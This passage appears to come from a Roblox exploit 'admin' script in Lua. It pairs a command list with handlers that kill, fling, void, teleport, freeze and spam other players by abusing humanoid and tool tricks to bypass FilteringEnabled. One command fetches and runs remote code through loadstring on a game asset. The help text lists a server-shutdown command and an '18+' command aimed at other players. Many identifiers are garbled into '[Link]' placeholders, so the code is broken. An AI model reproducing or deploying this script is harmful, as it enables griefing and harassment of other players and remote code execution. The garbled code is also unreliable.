player,\n[2] bring [plr] -- You need a tool! Will bring player to you,\n[3] spin
[plr] -- You need a tool! Makes you and the player spin crazy,\n[4] unspin -- Use
after using spin cmd and dying, so you stop loop teleporting,\n[5] attach [plr] --
You need a tool! Attaches you to player,\n[6] unattach [plr] -- Attempts to
unattach you from a player,\n[7] follow [plr] -- Makes you follow behind the
player,\n[8] unfollow,\n[9] freefall [plr] -- You need a tool! Teleports you and
the player up into the air,\n[10] trail [plr] -- The opposite of follow, you stay
infront of player,\n[11] untrail,\n[12] orbit [plr] -- Makes you orbit the
player,\n[13] unorbit,\n[14] fling [plr] -- Makes you fling the player,\n[15]
unfling,\n[16] fecheck -- Checks if the game is FE or not,\n[17] void [plr] --
Teleports player to the void,\n[18] noclip -- Gives you noclip to walk through
walls,\n[19] clip -- Removes noclip,\n[20] speed [num]/ws [num] -- Changes how fast
you walk 16 is default,\n[21] jumppower [num]/jp [num] -- Changes how high you jump
50 is default,\n[22] hipheight [num]/hh [num] -- Changes how high you float 0 is
default,\n[23] default -- Changes your speed, jumppower and hipheight to default
values,\n[24] annoy [plr] -- Loop teleports you to the player,\n[25] unannoy,\n[26]
headwalk [plr] -- Loop teleports you to the player head,\n[27] unheadwalk,\n[28]
nolimbs -- Removes your arms and legs,\n[29] god -- Gives you FE Godmode,\n[30]
drophats -- Drops your accessories,\n[31] droptool -- Drops any tool you have
equipped,\n[32] loopdhats -- Loop drops your accessories,\n[33] unloopdhats,\n[34]
loopdtool -- Loop drops any tools you have equipped,\n[35] unloopdtool,\n[36]
invisible -- Gives you invisibility CREDIT TO TIMELESS,\n[37] view [plr] -- Changes
your camera to the player character,\n[38] unview,\n[39] goto [plr] -- Teleports
you to player,\n[40] fly -- Allows you to fly,\n[41] unfly,\n[42] chat [msg] --
Makes you chat a message,\n[43] spam [msg] -- Spams a message,\n[44] unspam,\n[45]
spamwait [num] -- Changes delay of chatting a message for the spam command in
seconds default is 1 second,\n[46] pmspam [plr] -- Spams a player in private
message,\n[47] unpmspam,\n[48] cfreeze [plr] -- Freezes a player on your client,
they will only be frozen for you,\n[49] uncfreeze [plr],\n[50] unlockws -- Unlocks
the workspace,\n[51] lockws -- Locks the workspace,\n[52] btools -- Gives you
btools that will only show to you useful for deleting certain blocks only for
you,\n[53] pstand -- Enables platform stand,\n[54] unpstand -- Disables platform
stand,\n[55] blockhead -- Removes your head mesh,\n[56] sit,\n[57] bringobj [obj]
-- Only shows on client, brings an object/part to you constantly, can be used to
bring healing parts, weapons, money etc, type in exact name,\n[58] wsvis [num] --
Changes visibility of workspace parts, num should be between 0 and 1, only shows
client sided,\n[59] hypertotal -- Loads in my FE GUI Hypertotal,\n[60] cmds --
Prints all commands,\n[61] rmeshhats/blockhats -- Removes the meshes of all your
accessories aka block hats,\n[62] rmeshtool/blocktool -- Removes the mesh of the
tool you have equipped aka block tool,\n[63] spinner -- Makes you spin,\n[64]
nospinner,\n[65] reach [num] -- Gives you reach, mostly used for swords, say
;reachd for default and enter number after for custom,\n[66] noreach -- Removes
reach, must have tool equipped,\n[67] rkill [plr] -- Kills you and the player, use
kill to just kill the player without dying,\n[68] tp me [plr] -- Alternative to
goto,\n[69] cbring [plr] -- Brings player infront of you, shows only on client,
allows you to do damage to player,\n[70] uncbring,\n[71] swap [plr] -- You need a
tool! Swaps players position with yours and your position with players,\n[72]
givetool [plr] -- Gives the tool you have equipped to the player,\n[73] glitch
[plr] -- Glitches you and the player, looks very cool,\n[74] unglitch -- Unglitches
you,\n[75] grespawn -- Alternative to normal respawn and usually works best for
when you want to reset with FE Godmode,\n[76] explorer -- Loads up DEX,\n[77] reset
-- Resets your character.,\n[78] anim [id] -- Applies an animation on you, must be
created by ROBLOX,\n[79] animgui -- Loads up Energize animations GUI,\n[80] savepos
-- Saves your current position,\n[81] loadpos -- Teleports you to your saved
position,\n[82] bang [plr] -- 18+,\n[83] unbang,\n[84] delcmdbar -- Removes the
command bar completely,\n[85] bringmod [obj] -- Brings all the parts in a model,
client only, comes from ;bringobj enter exact name of model,\n[86] shutdown -- Uses
harkinians script to shutdown server,\n[87] respawn -- If grespawn doesnt work you
can use respawn,\n[88] delobj [obj] -- Deletes a certain brick in workspace, client
sided,\n[89] getplrs -- Prints all players in game,\n[90] deldecal -- Deletes all
decals client sided,\n[91] opfinality -- Loads in my FE GUI Opfinality,\n[92]
remotes -- Prints all remotes in the game in the console when added,\n[93]
noremotes -- Stops printing remotes,\n[94] tpdefault -- Stops all loop teleports to
a player,\n[95] stopsit -- Will not allow you to sit,\n[96] gosit -- Allows you to
sit,\n[97] clicktp -- Enables click tp,\n[98] noclicktp -- Disables click tp,\n[99]
toolson -- If any tools are dropped in the workspace you will automatically get
them,\n[100] toolsoff -- Stops ;toolson,\n[101] version -- Gets the admin
version, \n This list of commands is NOT showing everything, go to my thread in the
pastebin link to see ALL commands."
TextLabel.TextColor3 = [Link](1, 1, 1)
[Link] = 15
[Link] = true
[Link] = [Link]
[Link] = [Link]
[Link] = "closegui"
[Link] = CMDSFRAME
closegui.BackgroundColor3 = [Link](0.890196, 0.223529,
0.0588235)
[Link] = 0
[Link] = [Link](0.995000005, 0, 0, 0)
[Link] = [Link](0.0545952693, 0, 0.0728644878, 0)
[Link] = [Link]
[Link] = [Link].Size24
[Link] = "X"
closegui.TextColor3 = [Link](1, 1, 1)
[Link] = 20

closegui.MouseButton1Click:connect(function()
[Link] = false
end)

game:GetService('RunService').Stepped:connect(function()
if spin then
[Link] =
game:GetService("Players")[[Link]].[Link]
end
if followed then
[Link] =
game:GetService("Players")[[Link]].[Link] +
game:GetService("Players")
[[Link]].[Link] * -5
end
if traill then
[Link] =
game:GetService("Players")[[Link]].[Link] +
game:GetService("Players")
[[Link]].[Link] * 5
end
if annoying then
[Link] =
game:GetService("Players")[[Link]].[Link]
end
if hwalk then
[Link] =
game:GetService("Players")[[Link]].[Link] +
[Link](0, 4, 0)
end
if staring then
[Link] =
[Link]([Link], game:GetService("Players")
[[Link]].[Link])
end
end)
game:GetService('RunService').Stepped:connect(function()
if noclip then
if [Link] ==
[Link].R6 then
[Link] = false
[Link] = false
[Link]["Left Leg"].CanCollide =
false
[Link]["Right Leg"].CanCollide =
false
else
[Link]:ChangeState(11)
end
end
if changingstate then
[Link]:ChangeState(statechosen)
end
end)
game:GetService('RunService').Stepped:connect(function()
if droppinghats then
for i,v in pairs([Link]:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
[Link] = workspace
end
end
end
if droppingtools then
for i,v in pairs([Link]:GetChildren()) do
if (v:IsA("Tool")) then
[Link] = workspace
end
end
end
if removingmeshhats then
for i,v in pairs([Link]:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
[Link]:Destroy()
end
end
end
if removingmeshtool then
for i,v in pairs([Link]:GetChildren()) do
if (v:IsA("Tool")) then
[Link]:Destroy()
end
end
end
end)
game:GetService('RunService').Stepped:connect(function()
if banpl then
[Link] =
game:GetService("Players")[bplrr].[Link]
end
end)
game:GetService('RunService').Stepped:connect(function()
if stopsitting then
[Link] = false
end
end)

plr = lplayer
hum = [Link]
mouse = plr:GetMouse()
[Link]:connect(function(key)
if key == "e" then
if [Link] then
if clickgoto then
[Link] = [Link]([Link].x,
[Link].y + 5, [Link].z)
elseif clickdel then
[Link]:Destroy()
end
end
end
end)

game:GetService("Workspace").ChildAdded:connect(function(part)
if gettingtools then
if part:IsA("Tool") then
[Link] =
[Link]
end
end
end)

[Link]:Connect(function(msg)
if [Link](msg, 1, 6) == (prefix.."kill ") then
if [Link](msg, 7) == "me" then
[Link] =
[Link](100000,0,100000)
else
for i,v in pairs(GetPlayer([Link](msg,
7)))do
local NOW =
[Link]
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] =
false

[Link] = "None"
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do

[Link]:EquipTool(v)
end
local function tp(player,player2)
local
char1,char2=[Link],[Link]
if char1 and char2 then

char1:MoveTo([Link])
end
end
wait(0.1)
[Link]
= game:GetService("Players")[[Link]].[Link]
wait(0.2)
[Link]
= game:GetService("Players")[[Link]].[Link]
wait(0.5)
[Link]
= [Link]([Link](-100000,10,-100000))
wait(0.7)
tp(lplayer,game:GetService("Players")
[[Link]])
wait(0.7)
[Link]
= NOW

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your
backpack for this command!";
})
end
end
end
if [Link](msg, 1, 7) == (prefix.."bring ") then
for i,v in pairs(GetPlayer([Link](msg, 8)))do
local NOW =
[Link]
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] = false
[Link]
= "None"
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do
[Link]:EquipTool(v)
end
local function tp(player,player2)
local
char1,char2=[Link],[Link]
if char1 and char2 then
[Link] =
[Link]
end
end
local function getout(player,player2)
local
char1,char2=[Link],[Link]
if char1 and char2 then
char1:MoveTo([Link])
end
end
tp(game:GetService("Players")[[Link]], lplayer)
wait(0.2)
tp(game:GetService("Players")[[Link]], lplayer)
wait(0.5)
[Link] = NOW
wait(0.5)
getout(lplayer, game:GetService("Players")
[[Link]])
wait(0.3)
[Link] = NOW

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack
for this command!";
})
end
end
if [Link](msg, 1, 6) == (prefix.."spin ") then
for i,v in pairs(GetPlayer([Link](msg, 7))) do
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] = false
[Link]
= "None"
[Link] = false
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do
[Link]:EquipTool(v)
end
[Link] =
game:GetService("Players")[[Link]].Character["Left Arm"].CFrame
spinplr = v
wait(0.5)
spin = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack
for this command!";
})
end
end
if [Link](msg, 1, 7) == (prefix.."unspin") then
spin = false
end
if [Link](msg, 1, 8) == (prefix.."attach ") then
for i,v in pairs(GetPlayer([Link](msg, 9))) do
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] = false
[Link]
= "None"
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do
[Link]:EquipTool(v)
end
[Link] =
game:GetService("Players")[[Link]].Character["Left Arm"].CFrame
wait(0.3)
[Link] =
game:GetService("Players")[[Link]].Character["Left Arm"].CFrame
attplr = v

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack
for this command!";
})
end
end
if [Link](msg, 1, 10) == (prefix.."unattach ") then
for i,v in pairs(GetPlayer([Link](msg, 11))) do
local function getout(player,player2)
local
char1,char2=[Link],[Link]
if char1 and char2 then
char1:MoveTo([Link])
end
end
getout(lplayer, game:GetService("Players")
[[Link]])
end
end
if [Link](msg, 1, 8) == (prefix.."follow ") then
for i,v in pairs(GetPlayer([Link](msg, 9))) do
followed = true
flwplr = v
end
end
if [Link](msg, 1, 9) == (prefix.."unfollow") then
followed = false
end
if [Link](msg, 1, 10) == (prefix.."freefall ") then
for i,v in pairs(GetPlayer([Link](msg, 11))) do
local NOW =
[Link]
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] = false
[Link]
= "None"
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do
[Link]:EquipTool(v)
end
[Link] =
game:GetService("Players")[[Link]].[Link]
wait(0.2)
[Link] =
game:GetService("Players")[[Link]].[Link]
wait(0.6)
[Link] = NOW
wait(0.6)
[Link] =
[Link](0,50000,0)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack
for this command!";
})
end
end
if [Link](msg, 1, 7) == (prefix.."trail ") then
for i,v in pairs(GetPlayer([Link](msg, 8))) do
traill = true
trlplr = v
end
end
if [Link](msg, 1, 8) == (prefix.."untrail") then
traill = false
end
if [Link](msg, 1, 7) == (prefix.."orbit ") then
if [Link](msg, 8) == "all" or [Link](msg, 8)
== "others" or [Link](msg, 8) == "me" then
[Link] =
[Link]
else
for i,v in pairs(GetPlayer([Link](msg, 8)))
do
local o =
[Link]("RocketPropulsion")
[Link] =
[Link]
[Link] = "Orbit"
[Link] = game:GetService("Players")
[[Link]].[Link]
o:Fire()
noclip = true
end
end
end
if [Link](msg, 1, 8) == (prefix.."unorbit") then
[Link]:Destroy()
noclip = false
end
if [Link](msg, 1, 7) == (prefix.."fling ") then
if [Link](msg, 8) == "all" or [Link](msg, 8)
== "others" or [Link](msg, 8) == "me" then
[Link] =
[Link]
else
for i,v in pairs(GetPlayer([Link](msg, 8)))
do
local y =
[Link]("RocketPropulsion")
[Link] =
[Link]
[Link] = 1
[Link] = 800000
[Link] = 1000
[Link] = 200000
[Link] = "Fling"

game:GetService("Workspace").[Link] =
game:GetService("Players")[[Link]].[Link]
[Link] = game:GetService("Players")
[[Link]].[Link]
y:Fire()
noclip = true
end
end
end
if [Link](msg, 1, 8) == (prefix.."unfling") then
noclip = false
[Link]:Destroy()

game:GetService("Workspace").[Link] =
[Link]
wait(0.4)
[Link]:Destroy()
end
if [Link](msg, 1, 8) == (prefix.."fecheck") then
if game:GetService("Workspace").FilteringEnabled ==
true then
warn("FE is Enabled (Filtering Enabled)")

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Enabled";
Text = "Filtering Enabled. Enjoy using
Reviz Admin!";
})
else
warn("FE is Disabled (Filtering Disabled)
Consider using a different admin script.")

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Disabled";
Text = "Filtering Disabled. Consider
using a different admin script.";
})
end
end
if [Link](msg, 1, 6) == (prefix.."void ") then
for i,v in pairs(GetPlayer([Link](msg, 7))) do
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] = false
[Link]
= "None"
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do
[Link]:EquipTool(v)
end
[Link] =
game:GetService("Players")[[Link]].[Link]
wait(0.2)
[Link] =
game:GetService("Players")[[Link]].[Link]
wait(0.6)
[Link] =
[Link](999999999999999,0,999999999999999)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack
for this command!";
})
end
end
if [Link](msg, 1, 7) == (prefix.."noclip") then
noclip = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Noclip enabled";
Text = "Type ;clip to disable";
})
end
if [Link](msg, 1, 5) == (prefix.."clip") then
noclip = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Noclip disabled";
Text = "Type ;noclip to enable";
})
end
if [Link](msg, 1, 7) == (prefix.."speed ") then
[Link] =
([Link](msg, 8))
end
if [Link](msg, 1, 4) == (prefix.."ws ") then
[Link] =
([Link](msg, 5))
end
if [Link](msg, 1, 11) == (prefix.."hipheight ") then
[Link] =
([Link](msg, 12))
end
if [Link](msg, 1, 4) == (prefix.."hh ") then
[Link] =
([Link](msg, 5))
end
if [Link](msg, 1, 11) == (prefix.."jumppower ") then
[Link] =
([Link](msg, 12))
end
if [Link](msg, 1, 4) == (prefix.."jp ") then
[Link] =
([Link](msg, 5))
end
if [Link](msg, 1, 8) == (prefix.."default") then
[Link] = 50
[Link] = 16
[Link] = 0
end
if [Link](msg, 1, 7) == (prefix.."annoy ") then
for i,v in pairs(GetPlayer([Link](msg, 8))) do
annoying = true
annplr = v
end
end
if [Link](msg, 1, 8) == (prefix.."unannoy") then
annoying = false
end
if [Link](msg, 1, 10) == (prefix.."headwalk ") then
for i,v in pairs(GetPlayer([Link](msg, 11))) do
hwalk = true
hdwplr = v
end
end
if [Link](msg, 1, 11) == (prefix.."unheadwalk") then
hwalk = false
end
if [Link](msg, 1, 8) == (prefix.."nolimbs") then
[Link]["Left Leg"]:Destroy()
[Link]["Left Arm"]:Destroy()
[Link]["Right Leg"]:Destroy()
[Link]["Right Arm"]:Destroy()
end
if [Link](msg, 1, 4) == (prefix.."god") then
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] = false
[Link] =
"None"

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE Godmode enabled";
Text = "Use ;grespawn or ;respawn to remove";
})
end
if [Link](msg, 1, 9) == (prefix.."drophats") then
for i,v in pairs([Link]:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
[Link] = workspace
end
end
end
if [Link](msg, 1, 9) == (prefix.."droptool") then
for i,v in pairs([Link]:GetChildren()) do
if (v:IsA("Tool")) then
[Link] = workspace
end
end
end
if [Link](msg, 1, 10) == (prefix.."loopdhats") then
droppinghats = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Enabled";
Text = "Type ;unloopdhats to disable";
})
end
if [Link](msg, 1, 12) == (prefix.."unloopdhats") then
droppinghats = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Disabled";
Text = "Type ;loopdhats to enable.";
})
end
if [Link](msg, 1, 10) == (prefix.."loopdtool") then
droppingtools = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Enabled";
Text = "Type ;unloopdtool to disable";
})
end
if [Link](msg, 1, 12) == (prefix.."unloopdtool") then
droppingtools = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Disabled";
Text = "Type ;loopdtool to enable.";
})
end
if [Link](msg, 1, 10) == (prefix.."invisible") then --
Credit to Timeless
Local = game:GetService('Players').LocalPlayer
Char = [Link]
touched,tpdback = false, false
box = [Link]('Part',workspace)
[Link] = true
[Link] = true
[Link] = [Link](10,1,10)
[Link] = [Link](0,10000,0)
[Link]:connect(function(part)
if ([Link] == [Link]) then
if touched == false then
touched = true
function apply()
if [Link] ~= true
then
no =
[Link]:Clone()
wait(.25)

[Link]:Destroy()
[Link] = Char
Char:MoveTo(loc)
touched = false
end end
if Char then
apply()
end
end
end
end)
repeat wait() until Char
loc = [Link]
Char:MoveTo([Link] + [Link](0,.5,0))

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Invisibility enabled!";
Text = "Reset or use ;respawn to remove.";
})
end
if [Link](msg, 1, 6) == (prefix.."view ") then
for i,v in pairs(GetPlayer([Link](msg, 7))) do
if game:GetService("Players")
[[Link]].[Link] then
game:GetService("Workspace").[Link] =
game:GetService("Players")[[Link]].[Link]
else

game:GetService("Workspace").[Link] =
game:GetService("Players")[[Link]].[Link]
end
end
end
if [Link](msg, 1, 7) == (prefix.."unview") then
if [Link] then

game:GetService("Workspace").[Link] =
[Link]
else

game:GetService("Workspace").[Link] =
[Link]
end
end
if [Link](msg, 1, 6) == (prefix.."goto ") then
for i,v in pairs(GetPlayer([Link](msg, 7))) do
[Link] =
game:GetService("Players")[[Link]].[Link]
end
end
if [Link](msg, 1, 4) == (prefix.."fly") then
repeat wait() until lplayer and [Link] and
[Link]:FindFirstChild('HumanoidRootPart') and
[Link]:FindFirstChild('Humanoid')
repeat wait() until Mouse

local T = [Link]
local CONTROL = {F = 0, B = 0, L = 0, R = 0}
local lCONTROL = {F = 0, B = 0, L = 0, R = 0}
local SPEED = speedget

local function fly()


flying = true
local BG = [Link]('BodyGyro', T)
local BV = [Link]('BodyVelocity', T)
BG.P = 9e4
[Link] = [Link](9e9, 9e9, 9e9)
[Link] = [Link]
[Link] = [Link](0, 0.1, 0)
[Link] = [Link](9e9, 9e9, 9e9)
spawn(function()
repeat wait()

[Link] = true
if CONTROL.L + CONTROL.R ~= 0 or
CONTROL.F + CONTROL.B ~= 0 then
SPEED = 50
elseif not (CONTROL.L + CONTROL.R
~= 0 or CONTROL.F + CONTROL.B ~= 0) and SPEED ~= 0 then
SPEED = 0
end
if (CONTROL.L + CONTROL.R) ~= 0 or
(CONTROL.F + CONTROL.B) ~= 0 then
[Link] =
(([Link] * (CONTROL.F + CONTROL.B)) +
(([Link] * [Link](CONTROL.L + CONTROL.R,
(CONTROL.F + CONTROL.B) * 0.2, 0).p) - [Link].p))
* SPEED
lCONTROL = {F = CONTROL.F, B
= CONTROL.B, L = CONTROL.L, R = CONTROL.R}
elseif (CONTROL.L + CONTROL.R) == 0
and (CONTROL.F + CONTROL.B) == 0 and SPEED ~= 0 then
[Link] =
(([Link] * (lCONTROL.F + lCONTROL.B)) +
(([Link] * [Link](lCONTROL.L + lCONTROL.R,
(lCONTROL.F + lCONTROL.B) * 0.2, 0).p) -
[Link].p)) * SPEED
else
[Link] = [Link](0,
0.1, 0)
end
[Link] =
[Link]
until not flying
CONTROL = {F = 0, B = 0, L = 0, R = 0}
lCONTROL = {F = 0, B = 0, L = 0, R = 0}
SPEED = 0
BG:destroy()
BV:destroy()
[Link]
= false
end)
end
[Link]:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = speedfly
elseif KEY:lower() == 's' then
CONTROL.B = -speedfly
elseif KEY:lower() == 'a' then
CONTROL.L = -speedfly
elseif KEY:lower() == 'd' then
CONTROL.R = speedfly
end
end)
[Link]:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = 0
elseif KEY:lower() == 's' then
CONTROL.B = 0
elseif KEY:lower() == 'a' then
CONTROL.L = 0
elseif KEY:lower() == 'd' then
CONTROL.R = 0
end
end)
fly()
end
if [Link](msg, 1, 6) == (prefix.."unfly") then
flying = false
[Link] = false
end
if [Link](msg, 1, 6) == (prefix.."chat ") then
game:GetService("ReplicatedStorage").[Link]:
FireServer(([Link](msg, 7)), "All")
end
if [Link](msg, 1, 6) == (prefix.."spam ") then
spamtext = ([Link](msg, 7))
spamming = true
end
if [Link](msg, 1, 7) == (prefix.."unspam") then
spamming = false
end
if [Link](msg, 1, 10) == (prefix.."spamwait ") then
spamdelay = ([Link](msg, 11))
end
if [Link](msg, 1, 8) == (prefix.."pmspam ") then
for i,v in pairs(GetPlayer([Link](msg, 9))) do
pmspammed = [Link]
spammingpm = true
end
end
if [Link](msg, 1, 9) == (prefix.."unpmspam") then
spammingpm = false
end
if [Link](msg, 1, 9) == (prefix.."cfreeze ") then
for i,v in pairs(GetPlayer([Link](msg, 10))) do
[Link]["Left Leg"].Anchored = true
[Link]["Left Arm"].Anchored = true
[Link]["Right Leg"].Anchored = true
[Link]["Right Arm"].Anchored = true
[Link] = true
[Link] = true
end
end
if [Link](msg, 1, 11) == (prefix.."uncfreeze ") then
for i,v in pairs(GetPlayer([Link](msg, 12))) do
[Link]["Left Leg"].Anchored = false
[Link]["Left Arm"].Anchored = false
[Link]["Right Leg"].Anchored = false
[Link]["Right Arm"].Anchored = false
[Link] = false
[Link] = false
end
end
if [Link](msg, 1, 9) == (prefix.."unlockws") then
local a = game:GetService("Workspace"):getChildren()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Locked = false
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part" then
r[i].Locked = false
end
end
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "Workspace unlocked. Use ;lockws to
lock.";
})
end
if [Link](msg, 1, 7) == (prefix.."lockws") then
local a = game:GetService("Workspace"):getChildren()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Locked = true
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part" then
r[i].Locked = true
end
end
end
end
end
if [Link](msg, 1, 7) == (prefix.."btools") then
local Clone_T =
[Link]("HopperBin",[Link])
Clone_T.BinType = "Clone"
local Destruct =
[Link]("HopperBin",[Link])
[Link] = "Hammer"
local Hold_T =
[Link]("HopperBin",[Link])
Hold_T.BinType = "Grab"
end
if [Link](msg, 1, 7) == (prefix.."pstand") then
[Link] = true
end
if [Link](msg, 1, 9) == (prefix.."unpstand") then
[Link] = false
end
if [Link](msg, 1, 10) == (prefix.."blockhead") then
[Link]:Destroy()
end
if [Link](msg, 1, 4) == (prefix.."sit") then
[Link] = true
end
if [Link](msg, 1, 10) == (prefix.."bringobj ") then
local function bringobjw()
for i,obj in
ipairs(game:GetService("Workspace"):GetDescendants()) do
if [Link] == ([Link](msg, 11)) then
[Link] =
[Link]
[Link] = false
[Link] = 0.7
wait()
[Link] =
[Link]["Left Leg"].CFrame
wait()
[Link] =
[Link]["Right Leg"].CFrame
wait()
[Link] =
[Link]["Head"].CFrame
end
end
end
while wait() do
bringobjw()
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "BringObj";
Text = "BringObj enabled.";
})
end
if [Link](msg, 1, 7) == (prefix.."wsvis ") then
vis = ([Link](msg, 8))
local a =
game:GetService("Workspace"):GetDescendants()
for i = 1, #a do
if a[i].className == "Part" then
a[i].Transparency = vis
elseif a[i].className == "Model" then
local r = a[i]:getChildren()
for i = 1, #r do
if r[i].className == "Part" then
r[i].Transparency = vis
end
end
end
end
end
if [Link](msg, 1, 11) == (prefix.."hypertotal") then
loadstring(game:GetObjects("rbxassetid://1255063809")
[1].Source)()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "HyperTotal GUI Loaded!";
})
end
if [Link](msg, 1, 5) == (prefix.."cmds") then
[Link] = true
end
if [Link](msg, 1, 10) == (prefix.."rmeshhats") then
for i,v in pairs([Link]:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
[Link]:Destroy()
end
end
end
if [Link](msg, 1, 10) == (prefix.."blockhats") then
for i,v in pairs([Link]:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
[Link]:Destroy()
end
end
end
if [Link](msg, 1, 10) == (prefix.."rmeshtool") then
for i,v in pairs([Link]:GetChildren()) do
if (v:IsA("Tool")) then
[Link]:Destroy()
end
end
end
if [Link](msg, 1, 10) == (prefix.."blocktool") then
for i,v in pairs([Link]:GetChildren()) do
if (v:IsA("Tool")) then
[Link]:Destroy()
end
end
end
if [Link](msg, 1, 8) == (prefix.."spinner") then
local p = [Link]("RocketPropulsion")
[Link] = [Link]
[Link] = "Spinner"
[Link] = [Link]["Left Arm"]
p:Fire()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Spinner enabled";
Text = "Type ;nospinner to disable.";
})
end
if [Link](msg, 1, 10) == (prefix.."nospinner") then
[Link]:Destroy()
end
if [Link](msg, 1, 7) == (prefix.."reachd") then
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do
if v:isA("Tool") then
local a =
[Link]("SelectionBox",[Link])
[Link] = [Link]
[Link] = [Link](0.5,0.5,60)
[Link] = [Link](0,0,0)
[Link]:UnequipTools()
end
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach applied!";
Text = "Applied to equipped sword. Use ;noreach
to disable.";
})
end
if [Link](msg, 1, 7) == (prefix.."reach ") then
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do
if v:isA("Tool") then
handleSize = [Link]
wait()
local a =
[Link]("SelectionBox",[Link])
[Link] = "a"
[Link] = [Link]
[Link] = [Link](0.5,0.5,
([Link](msg, 8)))
[Link] = [Link](0,0,0)
[Link]:UnequipTools()
end
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach applied!";
Text = "Applied to equipped sword. Use ;noreach
to disable.";
})
end
if [Link](msg, 1, 8) == (prefix.."noreach") then
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do
if v:isA("Tool") then
[Link].a:Destroy()
[Link] = handleSize
end
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Reach removed!";
Text = "Removed reach from equipped sword.";
})
end
if [Link](msg, 1, 7) == (prefix.."rkill ") then
for i,v in pairs(GetPlayer([Link](msg, 8)))do
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] = false
[Link]
= "None"
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do
[Link]:EquipTool(v)
end
wait(0.1)
[Link] =
game:GetService("Players")[[Link]].[Link]
wait(0.2)
[Link] =
game:GetService("Players")[[Link]].[Link]
wait(0.5)
[Link] =
[Link]([Link](-100000,10,-100000))

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack
for this command!";
})
end
end
if [Link](msg, 1, 7) == (prefix.."tp me ") then
for i,v in pairs(GetPlayer([Link](msg, 8))) do
[Link] =
game:GetService("Players")[[Link]].[Link]
end
end
if [Link](msg, 1, 8) == (prefix.."cbring ") then
if ([Link](msg, 9)) == "all" or ([Link](msg,
9)) == "All" or ([Link](msg, 9)) == "ALL" then
cbringall = true
else
for i,v in pairs(GetPlayer([Link](msg, 9)))
do
brplr = [Link]
end
end
